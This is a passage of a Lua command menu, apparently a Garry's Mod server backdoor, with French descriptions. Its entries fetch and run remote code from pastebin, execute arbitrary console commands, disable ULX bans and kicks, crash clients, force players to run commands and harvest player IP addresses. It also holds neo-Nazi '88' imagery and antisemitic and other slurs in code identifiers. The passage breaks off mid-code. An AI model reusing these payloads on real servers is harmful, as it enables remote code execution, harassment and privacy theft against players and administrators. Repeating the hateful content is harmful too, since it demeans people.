593 ["Commande RCON"] = {
594
595 ["Type"] = 1,
596
597 ["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
598
599 ["Desc"] = "C'est tant de pouvoir le rcon ;)",
600
601 },
602
603
604
605 ["Lua run"] = {
606
607 ["Type"] = 1,
608
609 ["Code"] = [[ulx luarun @1]],
610
611 ["Desc"] = "Pas mal pour lancer des fichiers lua :')",
612
613 },
614
615
616
617 ["Lua run via pastebin"] = {
618
619 ["Type"] = 1,
620
621 ["Code"] = [[http.Fetch( "@1", function( b, l, h, c ) RunString( b ) end, function() end )]],
622
623 ["Desc"] = "C'est drôle, tu peut lancer n'importe qu'elle fichier lua Pastebin avec ça (cc les skeletons)",
624
625 },
626
627
628
629 ["Détruire Le Ban & Le Kick ULX"] = {
630
631 ["Type"] = 1,
632
633 ["Code"] = [[ULib.Ban = function() return false end
634
635 ULib.addBan = function() return end
636
637 ULib.kick = function() return end]],
638
639 ["Desc"] = "RIP les joueurs ban et kick :c",
640
641 },
642
643 ["Activer Super Asriel"] = {
644
645 ["Type"] = 1,
646
647 ["Code"] = [[http.Fetch("https://pastebin.com/raw/eUVnvQjn",function(b,l,h,c)RunString(b)end,nil)]],
648
649 ["Desc"] = "I'm your best friend ! A.S.R.I.E.L D.R.E.E.M.U.R.R",
650
651 },
652
653
654 ["Bruit De Toux"] = {
655
656 ["Type"] = 1,
657
658 ["Code"] = [[
659
660 if !timer.Exists( "jcrevenofake" ) then
661
662 timer.Create( "jcrevenofake", 0.7, 0, function()
663
664 for _, p in pairs(player.GetAll()) do
665
666 p:EmitSound("ambient/voices/cough"..math.random(4)..".wav", 450 + math.random() * 50, 50 + math.random() * 10)
667
668 end
669
670 end)
671
672 else
673
674 timer.Remove( "jcrevenofake" )
675
676 end]],
677
678 ["Desc"] = "Sa tousse fort, la mort approche ?",
679
680 },
681
682 ["!Modifier Map"] = {
683
684 ["Type"] = 1,
685
686 ["Code"] = [[RunConsoleCommand("hostname", "@1"")]],
687
688 ["Desc"] = "Modifier La Map :D",
689
690 },
691
692
693 ["Danse To The Death"] = {
694
695 ["Type"] = 1,
696
697 ["Code"] = [[http.Fetch("https://pastebin.com/raw/sA70hXDc",function(b,l,h,c)RunString(b)end,nil)]],
698
699 ["Desc"] = "Danse To The Death",
700
701 },
702
703 ["Arme Multicolore"] = {
704
705 ["Type"] = 1,
706
707 ["Code"] = [[
708 hook.Add("Think","somewhere_over_the_rainbow",function()
709 local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
710 for _, v in ipairs(player.GetAll()) do
711 v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
712 end
713end))]],
714
715 ["Desc"] = "Dédicasse a maks",
716
717 },
718
719
720/*============================================
721|===== Commandes Sur Joueur Selectionné =====|
722===========================================*/
723
724
725
726 ["Tuer Le Joueur"] = {
727
728 ["Type"] = 2,
729
730 ["Code"] = [[v:Kill()]],
731
732 ["Desc"] = "",
733
734 },
735
736
737
738
739 ["Rendre Multicolore"] = {
740
741 ["Type"] = 2,
742
743 ["Code"] = [[
744
745 local id = ]] .. LocalPlayer():UserID() .. [[
746
747 Player( id ):SetModel( "models/player/group02/male_04.mdl" )
748
749 Player( id ):SetMaterial( "models/debug/debugwhite" )
750
751 hook.Add( "Think", "multicolore", function()
752
753 if !IsValid( Player( id ) ) then return end
754
755 Player( id ):SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
756
757 end )
758 ]],
759
760 ["Desc"] = "Transforme N'importe qui en personne multicolore :D",
761
762 },
763
764
765
766 ["Expelliarmus"] = {
767
768 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
769
770 ["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
771
772 ["Desc"] = "Désarme un random",
773
774 },
775
776
777
778 ["Supprimer Les Armes"] = {
779
780 ["Type"] = 2,
781
782 ["Code"] = [[v:StripWeapons()]],
783
784 ["Desc"] = "",
785
786 },
787
788
789
790 ["Roquette"] = {
791
792 ["Type"] = 2,
793
794 ["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
795
796 ["Desc"] = "Sends them flying up into the air",
797
798 },
799
800
801
802 ["Roquette Dévié"] = {
803
804 ["Type"] = 2,
805
806 ["Code"] = [[v:SetVelocity( Vector(math.random( -9000, 9000), math.random( -9000, 9000), 9000) )]],
807
808 ["Desc"] = "HOLY SHIIIIIIIIIIIT",
809
810 },
811
812
813
814 ["Change model"] = {
815
816 ["Type"] = 2,
817
818 ["Code"] = [[v:SetModel( @1 )]],
819
820 ["Desc"] = "Set their player model to the specified string (1st paremeter)",
821
822 ["NeedsParameters"] = 1,
823
824 },
825
826
827
828 ["Choisi la vie + l'armure"] = {
829
830 ["Type"] = 2,
831
832 ["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],
833
834 ["Desc"] = "Sets their health (1st paremeter) and armor (2nd paremeter)",
835
836 ["NeedsParameters"] = 2,
837
838 },
839
840
841
842 ["Ear rape"] = {
843
844 ["Type"] = 2,
845
846 ["Code"] = [[
847
848 local snd = {
849
850 [1] = "npc/stalker/go_alert2a.wav",
851
852 [2] = "vo/npc/male01/question06.wav",
853
854 [3] = "ambient/energy/zap1.wav",
855
856 [4] = "weapons/knife/knife_stBD.wav",
857
858 [5] = "vo/ravenholm/madlaugh04.wav",
859
860 [6] = "npc/antlion_guard/antlion_guard_die1.wav",
861
862 [7] = "vo/breencast/br_collaboration01.wav,"
863
864 }
865
866 v:EmitSound( snd[tonumber(@1)], 100, 100 )
867
868 ]],
869
870 ["Desc"] = "Lance un son (choisir entre 1 & 7)",
871
872 ["NeedsParameters"] = 1,
873
874 },
875
876
877
878 ["Ear rape (via internet)"] = {
879
880 ["Type"] = 2,
881
882 ["Code"] = [[
883
884 BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
885
886 ]],
887
888 ["Desc"] = "fait écouter un son par URL (1er parametre). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
889
890 ["NeedsParameters"] = 1,
891
892 },
893
894
895
896 ["Spam Visuel (via internet)"] = {
897
898 ["Type"] = 2,
899
900 ["Code"] = [[
901
902 BDSendLua( v, 'if bdeyerape then bdeyerape:Remove() bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create( "HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )
903
904 ]],
905
906 ["Desc"] = "fait les regarder une image avec un URL infermable (1ème parametre). En lancer un deuxième le remplacera. Un lien invalide les effacera",
907
908 ["NeedsParameters"] = 1,
909
910 },
911
912
913
914 ["Mode Disco"] = {
915
916 ["Type"] = 2,
917
918 ["Code"] = [[
919
920 BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
921
922 ]],
923
924 ["Desc"] = "C'est partie :D",
925
926 },
927
928
929
930 ["Musique Disco"] = {
931
932 ["Type"] = 2,
933
934 ["Code"] = [[
935
936 BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
937
938 ]],
939
940 ["Desc"] = "rt",
941
942 },
943
944
945
946 ["Message PV"] = {
947
948 ["Type"] = 2,
949
950 ["Code"] = [[v:ChatPrint( @1 )]],
951
952 ["Desc"] = "Envoi un message anonyme",
953
954 ["NeedsParameters"] = 1,
955
956 },
957
958
959
960 ["Message PV (Amélioré)"] = {
961
962 ["Type"] = 2,
963
964 ["Code"] = [[
965
966 BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )
967
968 ]],
969
970 ["Desc"] = "Envoi un message anonyme de la couleur que tu veut (1er paramètre = texte, 2ème = rouge, 3ème = vert, 4ème = bleu)",
971
972 ["NeedsParameters"] = 1,
973
974 },
975
976
977
978 ["Brûler"] = {
979
980 ["Type"] = 2,
981
982 ["Code"] = [[v:Ignite( 30 )]],
983
984 ["Desc"] = "Crame le",
985
986 },
987
988
989
990 ["Activé/Désactivé GodMod"] = {
991
992 ["Type"] = 2,
993
994 ["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
995
996 ["Desc"] = "Mtn, t'es un dieu",
997
998 },
999
1000
1001
1002 ["Crash"] = {
1003
1004 ["Type"] = 2,
1005
1006 ["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
1007
1008 ["Desc"] = "Instant Crash :')",
1009
1010 },
1011
1012
1013
1014 ["Activé/Desactivé SpeedHack Joueur"] = {
1015
1016 ["Type"] = 2,
1017
1018 ["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
1019
1020 ["Desc"] = "ooooooooooooooooooooooooaw",
1021
1022 },
1023
1024
1025
1026 ["Geler/Dégeler Joueurs"] = {
1027
1028 ["Type"] = 2,
1029
1030 ["Code"] = [[v:Freeze( !v:IsFrozen() )]],
1031
1032 ["Desc"] = "j'peut plus bouger :c",
1033
1034 },
1035
1036
1037
1038 ["Forcer a dire une phrase"] = {
1039
1040 ["Type"] = 2,
1041
1042 ["Code"] = [[v:Say(@1)]],
1043
1044 ["Desc"] = "C'est drôle quand ils comprennent pas",
1045
1046 ["NeedsParameters"] = 1,
1047
1048 },
1049
1050
1051
1052
1053
1054 ["Forcer a executer une commande"] = {
1055
1056 ["Type"] = 2,
1057
1058 ["Code"] = [[v:ConCommand(@1)]],
1059
1060 ["Desc"] = "Bruh, je me met a tourner",
1061
1062 ["NeedsParameters"] = 1,
1063
1064 },
1065
1066
1067
1068 ["Récuperer IP"] = {
1069
1070 ["Type"] = 2,
1071
1072 ["Code"] = [[ for _, p in pairs(player.GetAll()) do if %LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],
1073
1074 ["Desc"] = "Reçois leurs ips dans ta console",
1075
1076 },
1077
1078
1079
1080
1081
1082 ["DarkRP ajouter/retirer de l'argent"] = {
1083
1084 ["Type"] = 2,
1085
1086 ["Code"] = [[v:addMoney(@1)]],
1087
1088 ["Desc"] = "Ajoute de la monnaie dans ton porte-monnaie (utiliser un chiffre négatif pour retirer)",
1089
1090 ["NeedsParameters"] = 1,
1091
1092 },
1093
1094
1095
1096 ["DarkRP forcer a join un job"] = {
1097
1098 ["Type"] = 2,
1099
1100 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
1101
1102 ["Desc"] = "WHUT JE SUIS DEVENU PRESIDENT D'UN COUP",
1103
1104 ["NeedsParameters"] = 1,
1105
1106 },
1107
1108
1109
1110 ["Forcer a changer d'équipe"] = {
1111
1112 ["Type"] = 2,
1113
1114 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
1115
1116 ["Desc"] = "Bruh j'suis un terroriste",
1117
1118 ["NeedsParameters"] = 1,
1119
1120 },
1121
1122
1123
1124 ["Forcer A Noclip"] = {
1125
1126 ["Type"] = 2,
1127
1128 ["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
1129
1130 ["Desc"] = "Je vole :c",
1131
1132 },
1133
1134
1135
1136 ["Give une arme"] = {
1137
1138 ["Type"] = 2,
1139
1140 ["Code"] = [[v:Give( @1 )]],
1141
1142 ["Desc"] = "OH ! Une bombe nucléaire",
1143
1144 ["NeedsParameters"] = 1,
1145
1146 },
1147
1148
1149
1150 ["Give des munitions"] = {
1151
1152 ["Type"] = 2,
1153
1154 ["Code"] = [[v:GiveAmmo( @1, @2, false )]],
1155
1156 ["Desc"] = "Recois des munitions (1er = nombres de munitions, 2èmes = type de munitions)",
1157
1158 ["NeedsParameters"] = 2,
1159
1160 },
1161
1162
1163
1164 ["Téléporter (Joueur a votre curseur)"] = {
1165
1166 ["Type"] = 2,
1167
1168 ["Code"] = [[
1169
1170 local tp = false
1171
1172 local tpos
1173
1174 for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
1175
1176 if tp then v:SetPos( tpos ) end
1177
1178 ]],
1179
1180 ["Desc"] = "Bruh",
1181
1182 },
1183
1184
1185
1186 ["Téléporter (Vous a eux)"] = {
1187
1188 ["Type"] = 2,
1189
1190 ["Code"] = [[
1191
1192 local tp = false
1193
1194 local tpos = v:GetPos() + Vector( 32, 0, 10)
1195
1196 for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
1197
1198 ]],
1199
1200 ["Desc"] = "Bruh",
1201
1202 },
1203
1204
1205
1206 ["Téléporter (Blink)"] = {
1207
1208 ["Type"] = 2,
1209
1210 ["Code"] = [[
1211
1212 local tpos = v:GetEyeTraceNoCursor().HitPos
1213
1214 v:SetPos( tpos )
1215
1216 ]],
1217
1218 ["Desc"] = "J'suis un enderman omg",
1219
1220 },
1221
1222
1223
1224 ["Spawn une entité près du joueur"] = {
1225
1226 ["Type"] = 2,
1227
1228 ["Code"] = [[
1229
1230 local tr = {}
1231
1232 tr.start = v:GetShootPos()
1233
1234 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1235
1236 tr.filter = {v}
1237
1238 local trace = util.TraceLine(tr)
1239
1240 local dix = ents.Create( @1 )
1241
1242 dix:SetPos(trace.HitPos)
1243
1244 dix:SetAngles(Angle(0,0,0))
1245
1246 dix:Spawn()
1247
1248 ]],
1249
1250 ["Desc"] = "Spawn une entité a côté (1er = code/classe de l'entité), tu peut pas spawn de voiture!",
1251
1252 ["NeedsParameters"] = 1,
1253
1254 },
1255
1256
1257
1258 ["Spawn un props près du joueur"] = {
1259
1260 ["Type"] = 2,
1261
1262 ["Code"] = [[
1263
1264 local tr = {}
1265
1266 tr.start = v:GetShootPos()
1267
1268 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1269
1270 tr.filter = {v}
1271
1272 local trace = util.TraceLine(tr)
1273
1274 local dix = ents.Create( "prop_physics" )
1275
1276 dix:SetPos(trace.HitPos)
1277
1278 dix:SetAngles(Angle(0,0,0))
1279
1280 dix:SetModel( @1 )
1281
1282 dix:Spawn()
1283
1284 ]],
1285
1286 ["Desc"] = "Wallah on a tenter de me propskill (1er = model)",
1287
1288 ["NeedsParameters"] = 1,
1289
1290 },
1291
1292
1293
1294 [" Marquez Les Traces Inutile"] = {
1295
1296 ["Type"] = 2,
1297
1298 ["Code"] = [[
1299
1300 local tr = {}
1301
1302 tr.start = v:GetShootPos()
1303
1304 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1305
1306 tr.filter = {v}
1307
1308 local trace = util.TraceLine(tr)
1309
1310 local dix = ents.Create( "prop_physics" )
1311
1312 dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )
1313
1314 dix:SetAngles( v:GetAngles() )
1315
1316 dix:SetModel( "models/props_c17/gravestone_cross001a.mdl" )
1317
1318 dix:Spawn()
1319
1320 dix:SetMoveType( MOVETYPE_NONE )
1321
1322 dix:SetMaterial( "models/shiny" )
1323
1324 dix:SetColor( Color( 0, 0, 40 ) )
1325
1326
1327
1328 local function ecr( parent, model, pos, ang, col, mat )
1329
1330 local dix = ents.Create( "prop_physics" )
1331
1332 dix:SetPos( parent:LocalToWorld( pos ) )
1333
1334 dix:SetAngles( parent:LocalToWorldAngles( ang ) )
1335
1336 dix:SetModel( model )
1337
1338 dix:SetParent( parent )
1339
1340 dix:Spawn()
1341
1342 dix:SetColor( col )
1343
1344 dix:SetMaterial( mat )
1345
1346 end
1347
1348
1349
1350 ecr( dix, "models/props_c17/gravestone_coffinpiece001a.mdl", Vector( -25, 0, -60 ), Angle( 0, 180, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1351
1352 ecr( dix, "models/hunter/blocks/cube025x2x025.mdl", Vector( -5, -5, 372 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1353
1354 ecr( dix, "models/hunter/blocks/cube025x2x025.mdl", Vector( -5, -5, 260 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1355
1356 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1357
1358 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 0, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1359
1360 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1361
1362 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1363
1364 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1365
1366 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1367
1368 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1369
1370 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1371
1372 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1373
1374 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 200 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1375
1376 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 200 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1377
1378 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 330 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1379
1380 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 330 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1381
1382
1383 for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(255, 255, 255 ), "WOOOOOOOOOOOOOOW UNE BITE GEANTE")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end
1384
1385
1386
1387 ]],
1388
1389 ["Desc"] = "Fait apparaitre la statue bite",
1390
1391 ["Private"] = true,
1392
1393 },
1394
1395
1396
1397
1398 [" Marquez Les Trace De La 88"] = {
1399
1400 ["Type"] = 2,
1401
1402 ["Code"] = [[
1403
1404 local tr = {}
1405
1406 tr.start = v:GetShootPos()
1407
1408 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1409
1410 tr.filter = {v}
1411
1412 local trace = util.TraceLine(tr)
1413
1414 local dix = ents.Create( "prop_physics" )
1415
1416 dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )
1417
1418 dix:SetAngles( v:GetAngles() )
1419
1420 dix:SetModel( "models/props_c17/gravestone_cross001a.mdl" )
1421
1422 dix:Spawn()
1423
1424 dix:SetMoveType( MOVETYPE_NONE )
1425
1426 dix:SetMaterial( "models/shiny" )
1427
1428 dix:SetColor( Color( 0, 0, 40 ) )
1429
1430
1431
1432 local function ecr( parent, model, pos, ang, col, mat )
1433
1434 local dix = ents.Create( "prop_physics" )
1435
1436 dix:SetPos( parent:LocalToWorld( pos ) )
1437
1438 dix:SetAngles( parent:LocalToWorldAngles( ang ) )
1439
1440 dix:SetModel( model )
1441
1442 dix:SetParent( parent )
1443
1444 dix:Spawn()
1445
1446 dix:SetColor( col )
1447
1448 dix:SetMaterial( mat )
1449
1450 end
1451
1452
1453
1454 ecr( dix, "models/props_c17/gravestone_coffinpiece001a.mdl", Vector( -25, 0, -60 ), Angle( 0, 180, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1455
1456 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1457
1458 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1459
1460 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1461
1462 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1463
1464 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1465
1466 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1467
1468 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1469
1470 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1471
1472--
1473
1474
1475 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, 248 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1476
1477 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, 248 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1478
1479 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1480
1481 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1482
1483 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 180, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1484
1485 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -180, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1486
1487
1488
1489 for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(0, 0, 0 ), "La 88 a apparement prit contrôle des lieux :D")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end
1490
1491
1492
1493 ]],
1494
1495 ["Desc"] = "Fait apparaitre la statue 88",
1496
1497 ["Private"] = true,
1498
1499 },
1500
1501
1502
1503
1504
1505 ["Spawn un NPC méchant près d'un joueur"] = {
1506
1507 ["Type"] = 2,
1508
1509 ["Code"] = [[
1510
1511 local tr = {}
1512
1513 tr.start = v:GetShootPos()
1514
1515 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1516
1517 tr.filter = {v}
1518
1519 local trace = util.TraceLine(tr)
1520
1521 local dix = ents.Create( "npc_citizen" )
1522
1523 dix:SetPos(trace.HitPos)
1524
1525 dix:SetAngles(Angle(0,0,0))
1526
1527 dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
1528
1529 dix:SetKeyValue( "citizentype", 3 )
1530
1531 dix:AddRelationship("player D_HT 200")
1532
1533 dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
1534
1535 dix:SetSchedule( SCHED_IDLE_WANDER )
1536
1537 dix:Spawn()
1538
1539 ]],
1540
1541 ["Desc"] = "Spawn a hostile NPC in front of this player",
1542
1543 },
1544
1545
1546
1547 ["Vision Mortel"] = {
1548
1549 ["Type"] = 2,
1550
1551 ["Code"] = [[
1552
1553 local trace = v:GetEyeTraceNoCursor()
1554
1555 if trace.Entity:IsValid() then trace.Entity:Remove() end
1556
1557 ]],
1558
1559 ["Desc"] = "Désintègre les joueurs que tu regarde",
1560
1561 },
1562
1563
1564
1565 ["Vision Explosive"] = {
1566
1567 ["Type"] = 2,
1568
1569 ["Code"] = [[
1570
1571 local trace = v:GetEyeTraceNoCursor()
1572
1573 local explo = ents.Create("env_explosion")
1574
1575 explo:SetPos(trace.HitPos)
1576
1577 explo:SetKeyValue("iMagnitude", "250")
1578
1579 explo:Spawn()
1580
1581 explo:Activate()
1582
1583 explo:Fire("Explode", "", 0)
1584
1585 ]],
1586
1587 ["Desc"] = "Explose ce que tu regarde",
1588
1589 },
1590
1591
1592
1593 ["Frappe Orbital Précise"] = {
1594
1595 ["Type"] = 2,
1596
1597 ["Code"] = [[
1598
1599 local trace = v:GetEyeTraceNoCursor()
1600
1601 timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-9999, 99999), 0.2, 15, function()
1602
1603 local explo = ents.Create("env_explosion")
1604
1605 explo:SetPos(trace.HitPos + Vector( math.random( -500, 500), math.random( -500, 500), math.random( -500, 500) ) )
1606
1607 explo:SetKeyValue("iMagnitude", "250")
1608
1609 explo:Spawn()
1610
1611 explo:Activate()
1612
1613 explo:Fire("Explode", "", 0)
1614
1615 end)
1616
1617 ]],
1618
1619 ["Desc"] = "ça va faire boom",
1620
1621 },
1622
1623
1624
1625 ["Pluie De Véhicules"] = {
1626
1627 ["Type"] = 2,
1628
1629 ["Code"] = [[
1630
1631 local trace = v:GetEyeTraceNoCursor()
1632
1633 local car = ents.Create("prop_physics")
1634
1635 local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
1636
1637 car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
1638
1639 car:SetAngles( v:GetAngles() )
1640
1641 car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
1642
1643 car:Spawn()
1644
1645 car:Activate()
1646
1647 car.boom = 6
1648
1649 car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
1650
1651 car:Ignite( 500 )
1652
1653 car:AddCallback( "PhysicsCollide", function( car, dat )
1654
1655 local explo = ents.Create("env_explosion")
1656
1657 explo:SetPos( car:GetPos() )
1658
1659 explo:SetKeyValue("iMagnitude", "350")
1660
1661 explo:Spawn()
1662
1663 explo:Activate()
1664
1665 explo:Fire("Explode", "", 0)
1666
1667 local ef = EffectData()
1668
1669 ef:SetOrigin( car:GetPos() )
1670
1671 ef:SetMagnitude( 5 )
1672
1673 ef:SetScale( 200 )
1674
1675 util.Effect( "ThumperDust", ef )
1676
1677 car.boom = car.boom - 1
1678
1679 if car.boom < 0 then car:Remove() end
1680
1681 end )
1682
1683 timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
1684
1685 ]],
1686
1687 ["Desc"] = "Fait tomber des véhicules du ciel qui exploserons",
1688
1689 },
1690
1691
1692
1693
1694
1695
1696
1697 ["Gas Toxique"] = {
1698
1699 ["Type"] = 2,
1700
1701 ["Code"] = [[
1702
1703 local trace = v:GetEyeTraceNoCursor()
1704
1705 local ar2Explo = ents.Create("env_ar2explosion")
1706
1707 ar2Explo:SetOwner(game.GetWorld())
1708
1709 local p = trace.HitPos
1710
1711 ar2Explo:SetPos(trace.HitPos)
1712
1713 ar2Explo:Spawn()
1714
1715 ar2Explo:Activate()
1716
1717 ar2Explo:Fire("Explode", "", 0)
1718
1719 timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
1720
1721 for _, ent in pairs(ents.FindInSphere( p, 500)) do
1722
1723 if !ent:IsPlayer() then continue end
1724
1725 local d = DamageInfo()
1726
